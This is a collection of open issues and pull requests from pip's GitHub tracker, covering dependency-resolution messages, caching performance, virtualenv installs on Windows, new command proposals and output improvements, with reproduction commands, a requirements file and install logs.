- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: kmaehashi
labels: type: enhancement: Improvements to functionality
C: dependency resolution: About choosing which dependencies to install
issue_10519: state: open
title: "pip install --quiet" hides conflict information
body: ### Description

When using `--quiet` to hide some `pip` output, it no longer elaborates on which specific packages are conflicting:

```
$ pip install --constraint constraint.txt click==7.1.2 --quiet
ERROR: Cannot install click==7.1.2 because these package versions have conflicting dependencies.
ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
$ pip install --constraint constraint.txt click==7.1.2
ERROR: Cannot install click==7.1.2 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested click==7.1.2
    The user requested (constraint) click==7.0

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
```

### Expected behavior

I'd expect output that looks something like this:
```
$ pip install --constraint constraint.txt click==7.1.2 --quiet
ERROR: Cannot install click==7.1.2 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested click==7.1.2
    The user requested (constraint) click==7.0

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
```

### pip version

21.2.3

### Python version

3.6

### OS

Fedora 34

### How to Reproduce

```
$ echo "click==7.0" > constraint.txt
$ pip install --constraint constraint.txt click==7.1.2 --quiet
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mitchhentges
labels: type: bug: A confirmed bug or unintended behavior
C: logging: Information Logging
C: error messages: Improving error messages
issue_10512: state: open
title: Add option to cause non-zero exit code if `pip install` caused conflicting packages
body: ### What's the problem this feature will solve?

I'm writing tooling around `pip`, and I would like it to "fail fast" when an environment has conflicting packages.

### Describe the solution you'd like

In #7744, it's discussed how it's currently not feasible to **block** a `pip install` from happening if will cause conflicts.

However, in today's behaviour, `pip install` does an internal equivalent of `pip check` at the end to check for conflicts.
My feature request here is for that internal `pip check` to return a non-zero exit code if conflicts are detected.

This allows scripts that run `pip install <package> --return-exit-code-if-conflicts-are-caused-please` to stop immediately after conflicts are caused.

### Alternative Solutions

I'm currently running `pip check` after each `pip install`, which is essentially doubling the amount of "conflict-checking" that's happening.

### Additional context

Thanks!

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mitchhentges
labels: type: feature request: Request for a new feature
issue_10491: state: open
title: added upgrade-all command
body: fixes #4551

I'm a new contributor to pip, so any hints on what kinds of tests to add for this command?

If this is more the direction you would like to go in I'll spend some time to fixing the #TODO's and refactor the code a little bit so a lot less copy pasting is going on between install command and update-all command.

user: JensTimmerman
issue_10480: state: open
title: Populate find_all_candidates cache from threadpool
body: Fetching pages from pypi to determine which versions are available is the rate limiting step of package collection.  There's a bit of a tradeoff here in that by pre-populating the find_all_candidates cache in full before doing conflict resolution there's a chance that more work is done since all pages will be fetched even if there is a conflict between the first two packages.  I think this still may make sense though as the wall clock time of collecting packages decreases significantly, and it's nice that the order in which packages are processed is unchanged and that part still effectively takes place in series.

Time spent on package collection decreases from ~40s to ~10 on the sample case from #10467.
user: jbylund
labels: type: enhancement: Improvements to functionality
issue_10476: state: open
title: Improve error message when egg-link does not match installed location
body: ### What's the problem this feature will solve?

When installing packages in development mode, and sloppy removal of those folders (instead of uninstall), the error

Egg-link {} does not match installed location of {} (at {}) (pip/req_uninstall.py, line 535)

is sometimes raised when installing a new package of the same name from a different folder. The issue can be solved by manually removing the egg-link, but it may sometimes be difficult to find it, certainly for people not very experienced with pip (it could be installed in site-packages of the python installation, or maybe UserData on Windows, ...). A better error message should make it easier to find it, and remove it.

### Describe the solution you'd like

I suggest to change this code (starting line 529 in pip/req_uninstall)

```
elif develop_egg_link:
            # develop egg
            with open(develop_egg_link) as fh:
                link_pointer = os.path.normcase(fh.readline().strip())
            assert (
                link_pointer == dist.location
            ), "Egg-link {} does not match installed location of {} (at {})".format(
                link_pointer, dist.project_name, dist.location
            )
```

with this (adding not only the contents of "develop_egg_link" to the error message, but also the path of the file itself):

```
elif develop_egg_link:
            # develop egg
            with open(develop_egg_link) as fh:
                link_pointer = os.path.normcase(fh.readline().strip())
            assert (
                link_pointer == dist.location
            ), "Egg-link {} at {} does not match installed location of {} (at {})".format(
                link_pointer, develop_egg_link, dist.project_name, dist.location
            )
```

### Alternative Solutions

I don't know about any alternative solutions; maybe forcing uninstall could help eventually, but if this happens in the course of a CI pipeline, then an improved error message is saves a lot of time.

### Additional context

I've never contributed to pip, but wouldn't mind making this contribution myself, it doesn't seem to pose any big risks.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pdegroote
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10472: state: open
title: Add target scripts flag
body: This pull request is to add --target-scripts flag similar to the requested in #3934. It allows to install the scripts of a package in a different location than the libraries, if desired. If the flag is not passed, the old behavior is maintained. This flag can only be called if the --target flag is present.
user: tstaig
labels: needs rebase or merge: PR has conflicts with current master
issue_10470: state: open
title: `pip index show` command which fetches the package information via the JSON API
body: ### What's the problem this feature will solve?

Now that `pip search` is not working and would be removed in favour of `pip index versions` in #10431 , there is short description is  not accessible from the command line. This is an opportunity to re-imagine the command.

### Describe the solution you'd like

If `numpy` is installed in the environment, the following description is obtained

```sh
$ pip show numpy
Name: numpy
Version: 1.21.2
Summary: NumPy is the fundamental package for array computing with Python.
Home-page: https://www.numpy.org
Author: Travis E. Oliphant et al.
Author-email: 
License: BSD
Location: /home/avmo/.pyenv/versions/3.8.9/envs/snek/lib/python3.8/site-packages
Requires: 
Required-by: xarray, pandas, matplotlib, h5py
```

Say, `numpy` is not installed in the user environment.

```sh
$ pip show numpy
WARNING: Package(s) not found: numpy
```

The user would like to read the documentation, but only knows the name of the package. An output like this would be helpful 

```sh
$ pip index show numpy
Name: numpy
Version: 1.21.2
Summary: NumPy is the fundamental package for array computing with Python.
Home-page: https://www.numpy.org
Author: Travis E. Oliphant et al.
Author-email: 
License: BSD
Location: < irrelevant >
Requires: 
Required-by:  < hard to deduce? >
```

Such an output can be populated from the JSON API

```sh
curl -s https://pypi.org/pypi/numpy/json | jq .info
{
  "author": "Travis E. Oliphant et al.",
  "author_email": "",
  "bugtrack_url": null,
  "classifiers": [
    "Development Status :: 5 - Production/Stable",
    "Intended Audience :: Developers",
    "Intended Audience :: Science/Research",
    "License :: OSI Approved :: BSD License",
    "Operating System :: MacOS",
    "Operating System :: Microsoft :: Windows",
    "Operating System :: POSIX",
    "Operating System :: Unix",
    "Programming Language :: C",
    "Programming Language :: Python",
    "Programming Language :: Python :: 3",
    "Programming Language :: Python :: 3 :: Only",
    "Programming Language :: Python :: 3.7",
    "Programming Language :: Python :: 3.8",
    "Programming Language :: Python :: 3.9",
    "Programming Language :: Python :: 3.10",
    "Programming Language :: Python :: Implementation :: CPython",
    "Topic :: Scientific/Engineering",
    "Topic :: Software Development",
    "Typing :: Typed"
  ],
  "description": "It provides:\n\n- a powerful N-dimensional array object\n- sophisticated (broadcasting) functions\n- tools for integrating C/C++ and Fortran code\n- useful linear algebra, Fourier transform, and random number capabilities\n- and much more\n\nBesides its obvious scientific uses, NumPy can also be used as an efficient\nmulti-dimensional container of generic data. Arbitrary data-types can be\ndefined. This allows NumPy to seamlessly and speedily integrate with a wide\nvariety of databases.\n\nAll NumPy wheels distributed on PyPI are BSD licensed.\n\n\n\n",
  "description_content_type": "",
  "docs_url": null,
  "download_url": "https://pypi.python.org/pypi/numpy",
  "downloads": {
    "last_day": -1,
    "last_month": -1,
    "last_week": -1
  },
  "home_page": "https://www.numpy.org",
  "keywords": "",
  "license": "BSD",
  "maintainer": "NumPy Developers",
  "maintainer_email": "numpy-discussion@python.org",
  "name": "numpy",
  "package_url": "https://pypi.org/project/numpy/",
  "platform": "Windows",
  "project_url": "https://pypi.org/project/numpy/",
  "project_urls": {
    "Bug Tracker": "https://github.com/numpy/numpy/issues",
    "Documentation": "https://numpy.org/doc/1.21",
    "Download": "https://pypi.python.org/pypi/numpy",
    "Homepage": "https://www.numpy.org",
    "Source Code": "https://github.com/numpy/numpy"
  },
  "release_url": "https://pypi.org/project/numpy/1.21.2/",
  "requires_dist": null,
  "requires_python": ">=3.7,<3.11",
  "summary": "NumPy is the fundamental package for array computing with Python.",
  "version": "1.21.2",
  "yanked": false,
  "yanked_reason": null
}
```

### Alternative Solutions

Alternatively, simply pretty print the JSON after fetching it.

Right now I use https://github.com/jeffmm/pypi-simple-search/ to mimic the old `pip search` behaviour.

### Additional context

The inspiration for this command is how `pacman` in ArchLinux works.

- `pacman -Qi <package>`: to query an installed package for information
- `pacman -Si <package>`: to query the package index for information

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ashwinvis
labels: type: feature request: Request for a new feature
resolution: needs standard: Should be agreed as a standard before implementation
issue_10467: state: open
title: Collecting from cache is surprisingly slow
body: ### What's the problem this feature will solve?

Workflows that require a frequent re-creation of virtual envs from scratch are very slow, and a large amount of time is spend collecting wheels despite having all the artefacts in the local cache already.

To demonstrate, let's consider installing from this (pip-compiled) `requirements.txt`:

<details>
<summary>requirements.txt</summary>

```
#
# This file is autogenerated by pip-compile with python 3.8
# To update, run:
#
#    pip-compile --no-emit-index-url requirements.in
#
ansible==4.5.0
    # via -r requirements.in
ansible-core==2.11.4
    # via ansible
asgiref==3.4.1
    # via django
attrs==21.2.0
    # via pytest
backcall==0.2.0
    # via ipython
black==21.8b0
    # via -r requirements.in
bokeh==2.3.3
    # via -r requirements.in
brotli==1.0.9
    # via flask-compress
cashier==1.3
    # via -r requirements.in
certifi==2021.5.30
    # via requests
cffi==1.14.6
    # via cryptography
charset-normalizer==2.0.4
    # via requests
click==8.0.1
    # via
    #   -r requirements.in
    #   black
    #   flask
cloudpickle==2.0.0
    # via dask
cryptography==3.4.8
    # via ansible-core
cycler==0.10.0
    # via matplotlib
dash==2.0.0
    # via -r requirements.in
dash-core-components==2.0.0
    # via dash
dash-html-components==2.0.0
    # via dash
dash-table==5.0.0
    # via dash
dask==2021.9.0
    # via -r requirements.in
decorator==5.1.0
    # via ipython
django==3.2.7
    # via -r requirements.in
docker==5.0.2
    # via -r requirements.in
flake8==3.9.2
    # via -r requirements.in
flask==2.0.1
    # via
    #   -r requirements.in
    #   dash
    #   flask-compress
flask-compress==1.10.1
    # via dash
fsspec==2021.8.1
    # via dask
idna==3.2
    # via requests
importlib-resources==5.2.2
    # via yachalk
iniconfig==1.1.1
    # via pytest
ipython==7.27.0
    # via -r requirements.in
itsdangerous==2.0.1
    # via flask
jedi==0.18.0
    # via ipython
jinja2==3.0.1
    # via
    #   -r requirements.in
    #   ansible-core
    #   bokeh
    #   flask
joblib==1.0.1
    # via scikit-learn
kiwisolver==1.3.2
    # via matplotlib
locket==0.2.1
    # via partd
markupsafe==2.0.1
    # via jinja2
matplotlib==3.4.3
    # via -r requirements.in
matplotlib-inline==0.1.3
    # via ipython
mccabe==0.6.1
    # via flake8
mypy==0.910
    # via -r requirements.in
mypy-extensions==0.4.3
    # via
    #   black
    #   mypy
numpy==1.21.2
    # via
    #   -r requirements.in
    #   bokeh
    #   matplotlib
    #   pandas
    #   pyarrow
    #   scikit-learn
    #   scipy
packaging==21.0
    # via
    #   ansible-core
    #   bokeh
    #   dask
    #   pytest
pandas==1.3.3
    # via -r requirements.in
parso==0.8.2
    # via jedi
partd==1.2.0
    # via dask
pathspec==0.9.0
    # via black
pexpect==4.8.0
    # via ipython
pickleshare==0.7.5
    # via ipython
pillow==8.3.2
    # via
    #   bokeh
    #   matplotlib
platformdirs==2.3.0
    # via black
plotly==5.3.1
    # via dash
pluggy==1.0.0
    # via pytest
prompt-toolkit==3.0.20
    # via ipython
ptyprocess==0.7.0
    # via pexpect
py==1.10.0
    # via pytest
pyarrow==5.0.0
    # via -r requirements.in
pycodestyle==2.7.0
    # via flake8
pycparser==2.20
    # via cffi
pyflakes==2.3.1
    # via flake8
pygments==2.10.0
    # via ipython
pyparsing==2.4.7
    # via
    #   matplotlib
    #   packaging
pytest==6.2.5
    # via -r requirements.in
python-dateutil==2.8.2
    # via
    #   bokeh
    #   matplotlib
    #   pandas
pytz==2021.1
    # via
    #   django
    #   pandas
pyyaml==5.4.1
    # via
    #   -r requirements.in
    #   ansible-core
    #   bokeh
    #   dask
regex==2021.8.28
    # via black
requests==2.26.0
    # via
    #   -r requirements.in
    #   docker
resolvelib==0.5.5
    # via ansible-core
scikit-learn==0.24.2
    # via sklearn
scipy==1.7.1
    # via
    #   -r requirements.in
    #   scikit-learn
six==1.16.0
    # via
    #   cycler
    #   plotly
    #   python-dateutil
sklearn==0.0
    # via -r requirements.in
sqlitedict==1.7.0
    # via -r requirements.in
sqlparse==0.4.2
    # via django
tenacity==8.0.1
    # via plotly
threadpoolctl==2.2.0
    # via scikit-learn
toml==0.10.2
    # via
    #   mypy
    #   pytest
tomli==1.2.1
    # via black
toolz==0.11.1
    # via
    #   dask
    #   partd
tornado==6.1
    # via bokeh
traitlets==5.1.0
    # via
    #   ipython
    #   matplotlib-inline
typing-extensions==3.10.0.2
    # via
    #   black
    #   bokeh
    #   mypy
urllib3==1.26.6
    # via requests
wcwidth==0.2.5
    # via prompt-toolkit
websocket-client==1.2.1
    # via docker
werkzeug==2.0.1
    # via flask
yachalk==0.1.4
    # via -r requirements.in
zipp==3.5.0
    # via importlib-resources
```

</details>

Benchmark script for reproduction:

```sh
# cleanup tmp venv if it exists
rm -rf ./tmp_venv

# re-create tmp venv
virtualenv ./tmp_venv

# activate tmp venv
. ./tmp_venv/bin/activate

# install requiremts
time pip install -r requirements.txt --no-deps -i https://pypi.python.org/simple
```

Starting with the second execution of the script, pip can fully rely on its local cache. But even with 100% cache hits, the time it takes to run all the `Collecting ... Using cached ...` operations takes ~42 seconds. The total run time is ~92 seconds, so 45% of the time is spend just collecting from the cache. This time seems excessive. The disk is a fast SSD and the total sum of data to be collected should be < 1GB. So in terms of I/O it should be possible to collect the artefacts much faster from an SSD based cache.

In terms of raw I/O loading the wheels from an SSD based cache should be in the order of few seconds. Thus, bringing down the collection time could speed up venv creation in many cases by almost a factor of 2. This could e.g. significantly speed up CI pipelines that require creation of multiple similar venvs (in fact, venv creation is becoming an increasing bottleneck in complex CI pipelines for us).

Used pip version: 21.2.4


### Describe the solution you'd like

Perhaps it is possible to revisit why collecting artefacts from the cache is so slow. 

### Alternative Solutions

Alternative solutions probably doesn't apply in case of performance improvements.

### Additional context

All information given above?

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: bluenote10
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10463: state: open
title: Pip Installs Packages Into Global Enviroment While VirtualEnv is Activated on Windows
body: ### Description

I'm reopening the issue [#4533](https://github.com/pypa/pip/issues/4533) but now with Windows:

I'm trying to install packages in a virtual environment. However; pip is installing all packages in the global environment even when my virtualenv is active. 

#### - Further infomation

When I activate the virtual environment and locate the python interpreter and pip, I get the following:

for python:
Command:
`(my_env) PS C:\Users\path\to\project> Get-Command python`
Output:
`C:\Users\path\to\project\my_env/Scripts\python.exe`

and for pip:
Command:
`(my_env) PS C:\Users\path\to\project> Get-Command pip`
Output:
`C:\Users\path\to\project\my_env/Scripts\pip.exe`

so far, so good. Now when I try to install the packages, pip uses the global path:
Command: 
`(my_env) PS C:\Users\path\to\project> pip install numpy`
Output:
```
Successfully installed numpy-1.21.2
WARNING: Target directory c:\users\username\appdata\local\programs\python\python39\lib\site-packages\bin already exists. Specify --upgrade to force replacement.
```

#### - Current workaround

Currently I'm activating the virtualenv and on top of that I'm specifying the target folder during the installation 
`pip install --target=C:\Users\path\to\my\project\my_env\Lib\site-packages package_name`


### Expected behavior

The the newly installed package is not in the global pip list, but rather only in the virtualenv pip list.

### pip version

21.2.4

### Python version

3.9.7

### OS

Windows 10

### How to Reproduce

All the commands below were executed in powershell:
1. In your working directory, create the virtual environment with `virtualenv my_env`
2. Activate the newly created virtual environment with `.\my_env\Scripts\activate`
3. Install any package, taking here numpy as example but it can be any: `pip install numpy`
4. Check the list of packages in your pip virutal environment `pip list` and the package you just installed is not in this list, but rather in the global pip list. 

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: afonsoalbrecht
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10461: state: open
title: Adopt rich, for handling terminal output
body: Initial discussion at #10423 

This is mostly an umbrella issue for tracking actually doing this, and for serving as a place for discussion whenever a downstream redistributor inevitably comes complaining about this. :)

The first step is obviously to vendor rich. Next, the most obvious change would be to use rich's output logging-related adapter, to replace as much of our custom output stuff with it as possible -- that'll allow using rich's nice markup in our output. At this point, we can close this issue.

The bulk of the benefits will come from further refactoring though:

- replacing our spinners/progress bars with rich's spinners/progress bars.
- replacing our user-input prompts with rich's prompts.
- presenting tracebacks with rich's traceback highlighting.
- utilising rich's status bar, to present proper status to the user.

user: pradyunsg
labels: type: enhancement: Improvements to functionality
project: vendored dependency: Related to a vendored dependency
C: output: Related to what pip prints
issue_10460: state: open
title: List HTTP caches as well in `pip cache list`
body: ### Description

`pip` by default stores http responses in cache instead of whl files (at least on Win). `pip cache list` doesn't display those files.


### Expected behavior

`pip cache list` should display files from http cache (with proper *.whl names, not hash).

### pip version

pip 21.2.4 from c:\program files\python38\lib\site-packages\pip (python 3.8)

### Python version

Python 3.8.6 (tags/v3.8.6:db45529, Sep 23 2020, 15:52:53) [MSC v.1927 64 bit (AMD64)]

### OS

Win7 (64 bit)

### How to Reproduce

```
> pip cache info
> pip cache list
```

### Output

```sh-session
> pip cache info
Package index page cache location: c:\users\user\appdata\local\pip\cache\http
Package index page cache size: 731.3 MB
Number of HTTP files: 359
Wheels location: c:\users\user\appdata\local\pip\cache\wheels
Wheels size: 0 bytes
Number of wheels: 0

> pip cache list
Nothing cached.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jacekt
labels: type: feature request: Request for a new feature
issue_10433: state: open
title: Why does Pip documentation refer Windows to use an executable named "py"?
body: ### Description

I'm trying to follow user guides on getting pip development done and one of the things I notice is that it refers to executing python through an executable called `py`.

I run Python almost exclusively on Windows and I don't know what `py` is, I can't google it because "py" or "python py" or "py executable" are all too generic for Google so I can't find any documentation on it, instead Google thinks I'm talking about the  ".py" extension.

I _think_ it's something that ships optionally with the Python installer from the Python Foundation? But if so it's optional as I've never had it installed. But even so I don't think it ships with the Python from the Windows store, or the Python in Anaconda, Miniconda, Miniforge, Mambaforge, etc...

So why is pip referring to `py` which is this optional thing that's impossible to find documentation on rather than just `python` which is what works on both Windows and other platforms?

### Expected behavior

python

### pip version

all

### Python version

all

### OS

Windows

### How to Reproduce

Read Documentation

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: docs: Documentation related
issue_10421: state: open
title: Add additional diagnostics to our error messages
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
pip's error messages do not provide any context on what component or thing is involved in the problem, and where the bug/issue might lie.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Add clear diagnostic information about the $thing that likely caused the error (eg: package, network, index page). We could also add hints toward potential solutions, in cases where we know the likely causes (eg: this is an issue with \<url\>, or this package is not supported on your platform, or did you setup an environment to build the package).

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
Maintain status quo? We've got adhoc messages right now, which may or may not contain diagnostic information for the user, usually not.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->
This is a pattern of behaviour I've seen on the issue tracker, in conversational feedback about pip's error messages, and seems to align with my personal effort of "what can we learn from other package managers to improve".
user: pradyunsg
labels: type: enhancement: Improvements to functionality
C: error messages: Improving error messages
issue_10417: state: open
title: Max Backtracking Option and print out current failure casues
body: **What's the problem this feature will solve?**
When a user has a complex requirements set it's possible that the backtracking can take hours / days / years to find a solution.

In a large requirements list it can be unclear _why_ pip is backtracking as the conflict may exist many layers deep that the user does not know about.

Adding a max backtracking option attempts to solve 2 use cases:
1. When a user is debugging they can set max backtracking to 0 and be able to manually inspect the failure causes and improve their requirements
2. When a user is paying for CPU time, e.g. in a cloud environment, they may prefer pip to fail early in backtracking rather than run for hours. In this case they could set say a "reasonable" max backtracking such as 100 or 1000

**Describe the solution you'd like**

1. Add a maximum backtrack count  to pip CLI and pass to the  [Resolution object](https://github.com/pypa/pip/blob/65f046deff41cf8514978a389de8ddf5c3bcf1fa/src/pip/_vendor/resolvelib/resolvers.py#L105)
2. Add a `self._backtrack_count` to [Resolution object](https://github.com/pypa/pip/blob/65f046deff41cf8514978a389de8ddf5c3bcf1fa/src/pip/_vendor/resolvelib/resolvers.py#L105)
3. When [backtracking](https://github.com/pypa/pip/blob/65f046deff41cf8514978a389de8ddf5c3bcf1fa/src/pip/_vendor/resolvelib/resolvers.py#L371) increment `self._backtrack_count` and check if exceeds the maximum backtrack count
4. If it exceeds the maximum backtrack count log an error message that this happened and raise `raise ResolutionImpossible(causes)` so the user can inspect the current error was causing the backtracking


**Additional context**

This requires adding to the pip CLI, updating resolvelib, adding many test cases, and updating the documentation. I currently don't have a strong enough understanding of pip's code base to implement all of this. But if no one else works on this I will try and eventually submit the relevant PRs.

user: notatallshaw
issue_10405: state: open
title: --upgrade-strategy=eger should explain why a package is not upgraded
body: ### Description

Running pip install with `-U`/`--upgrade` on a package while listing an extra that adds a dependency that might already be installed pip does not upgrade the packages from the extra if the requirement listed is already satisfied. This is also true with the eager upgrade strategy.

### Expected behavior

When using the `-U`/`--upgrade` flag all packages to be installed, even those from an extra, are upgraded to the newest version.

### pip version

21.2.4

### Python version

3.9.6

### OS

Linux

### How to Reproduce

1. `pip install 'qiskit-nature<0.2.0'`
2. `pip install -U 'qiskit[nature]'` (the nature extra is defined as `"qiskit-nature>=0.1.5"`:  https://github.com/Qiskit/qiskit/blob/master/setup.py#L52-L54 )
3. `pip install -U --upgrade-strategy eager 'qiskit[nature]'` 

### Output

`pip install 'qiskit-nature<0.2.0'`

```
Collecting qiskit-nature<0.2.0
  Using cached qiskit_nature-0.1.5-py3-none-any.whl (1.5 MB)
Collecting psutil>=5
  Using cached psutil-5.8.0-cp39-cp39-manylinux2010_x86_64.whl (293 kB)
Collecting scikit-learn>=0.20.0
  Using cached scikit_learn-0.24.2-cp39-cp39-manylinux2010_x86_64.whl (23.8 MB)
Collecting numpy>=1.17
  Using cached numpy-1.21.2-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (15.8 MB)
Collecting qiskit-terra>=0.18.0
  Using cached qiskit_terra-0.18.1-cp39-cp39-manylinux2010_x86_64.whl (6.2 MB)
Requirement already satisfied: setuptools>=40.1.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-nature<0.2.0) (57.4.0)
Collecting h5py<3.3
  Using cached h5py-3.2.1-cp39-cp39-manylinux1_x86_64.whl (4.5 MB)
Collecting scipy>=1.4
  Using cached scipy-1.7.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl (28.5 MB)
Collecting retworkx>=0.9.0
  Using cached retworkx-0.10.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (1.4 MB)
Collecting jsonschema>=2.6
  Using cached jsonschema-3.2.0-py2.py3-none-any.whl (56 kB)
Collecting symengine>0.7
  Using cached symengine-0.7.2-cp39-cp39-manylinux2010_x86_64.whl (33.9 MB)
Collecting tweedledum<2.0,>=1.1
  Using cached tweedledum-1.1.0-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (929 kB)
Collecting python-dateutil>=2.8.0
  Using cached python_dateutil-2.8.2-py2.py3-none-any.whl (247 kB)
Collecting ply>=3.10
  Using cached ply-3.11-py2.py3-none-any.whl (49 kB)
Collecting dill>=0.3
  Using cached dill-0.3.4-py2.py3-none-any.whl (86 kB)
Collecting python-constraint>=1.4
  Using cached python_constraint-1.4.0-py2.py3-none-any.whl
Collecting sympy>=1.3
  Using cached sympy-1.8-py3-none-any.whl (6.1 MB)
Collecting fastjsonschema>=2.10
  Using cached fastjsonschema-2.15.1-py3-none-any.whl (21 kB)
Collecting pyrsistent>=0.14.0
  Using cached pyrsistent-0.18.0-cp39-cp39-manylinux1_x86_64.whl (117 kB)
Collecting six>=1.11.0
  Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
Collecting attrs>=17.4.0
  Using cached attrs-21.2.0-py2.py3-none-any.whl (53 kB)
Collecting threadpoolctl>=2.0.0
  Using cached threadpoolctl-2.2.0-py3-none-any.whl (12 kB)
Collecting joblib>=0.11
  Using cached joblib-1.0.1-py3-none-any.whl (303 kB)
Collecting mpmath>=0.19
  Using cached mpmath-1.2.1-py3-none-any.whl (532 kB)
Installing collected packages: six, pyrsistent, numpy, mpmath, attrs, tweedledum, threadpoolctl, sympy, symengine, scipy, retworkx, python-dateutil, python-constraint, psutil, ply, jsonschema, joblib, fastjsonschema, dill, scikit-learn, qiskit-terra, h5py, qiskit-nature
Successfully installed attrs-21.2.0 dill-0.3.4 fastjsonschema-2.15.1 h5py-3.2.1 joblib-1.0.1 jsonschema-3.2.0 mpmath-1.2.1 numpy-1.21.2 ply-3.11 psutil-5.8.0 pyrsistent-0.18.0 python-constraint-1.4.0 python-dateutil-2.8.2 qiskit-nature-0.1.5 qiskit-terra-0.18.1 retworkx-0.10.1 scikit-learn-0.24.2 scipy-1.7.1 six-1.16.0 symengine-0.7.2 sympy-1.8 threadpoolctl-2.2.0 tweedledum-1.1.0
```

`pip install -U 'qiskit[nature]'`

```
Collecting qiskit[nature]
  Using cached qiskit-0.29.0-py3-none-any.whl
Collecting qiskit-ibmq-provider==0.16.0
  Using cached qiskit_ibmq_provider-0.16.0-py3-none-any.whl (235 kB)
Collecting qiskit-aqua==0.9.4
  Using cached qiskit_aqua-0.9.4-py3-none-any.whl (2.1 MB)
Collecting qiskit-aer==0.8.2
  Using cached qiskit_aer-0.8.2-cp39-cp39-manylinux2010_x86_64.whl (18.0 MB)
Collecting qiskit-ignis==0.6.0
  Using cached qiskit_ignis-0.6.0-py3-none-any.whl (207 kB)
Requirement already satisfied: qiskit-terra==0.18.1 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.18.1)
Requirement already satisfied: qiskit-nature==0.1.5 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.1.5)
Collecting pybind11>=2.6
  Using cached pybind11-2.7.1-py2.py3-none-any.whl (200 kB)
Requirement already satisfied: scipy>=1.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aer==0.8.2->qiskit[nature]) (1.7.1)
Requirement already satisfied: numpy>=1.16.3 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aer==0.8.2->qiskit[nature]) (1.21.2)
Requirement already satisfied: sympy>=1.3 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (1.8)
Requirement already satisfied: psutil>=5 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (5.8.0)
Collecting dlx<=1.0.4
  Using cached dlx-1.0.4-py3-none-any.whl
Requirement already satisfied: setuptools>=40.1.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (57.4.0)
Requirement already satisfied: retworkx>=0.8.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (0.10.1)
Collecting pandas
  Using cached pandas-1.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (11.5 MB)
Collecting quandl
  Using cached Quandl-3.6.1-py2.py3-none-any.whl (26 kB)
Collecting yfinance<0.1.63
  Using cached yfinance-0.1.62-py2.py3-none-any.whl
Collecting fastdtw<=0.3.4
  Using cached fastdtw-0.3.4-py3-none-any.whl
Collecting docplex>=2.21.207
  Using cached docplex-2.21.207-py3-none-any.whl
Requirement already satisfied: scikit-learn>=0.20.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (0.24.2)
Requirement already satisfied: h5py<3.3.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (3.2.1)
Requirement already satisfied: python-dateutil>=2.8.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-ibmq-provider==0.16.0->qiskit[nature]) (2.8.2)
Collecting requests>=2.19
  Using cached requests-2.26.0-py2.py3-none-any.whl (62 kB)
Collecting websocket-client>=1.0.1
  Using cached websocket_client-1.2.1-py2.py3-none-any.whl (52 kB)
Collecting requests-ntlm>=1.1.0
  Using cached requests_ntlm-1.1.0-py2.py3-none-any.whl (5.7 kB)
Collecting urllib3>=1.21.1
  Using cached urllib3-1.26.6-py2.py3-none-any.whl (138 kB)
Requirement already satisfied: dill>=0.3 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (0.3.4)
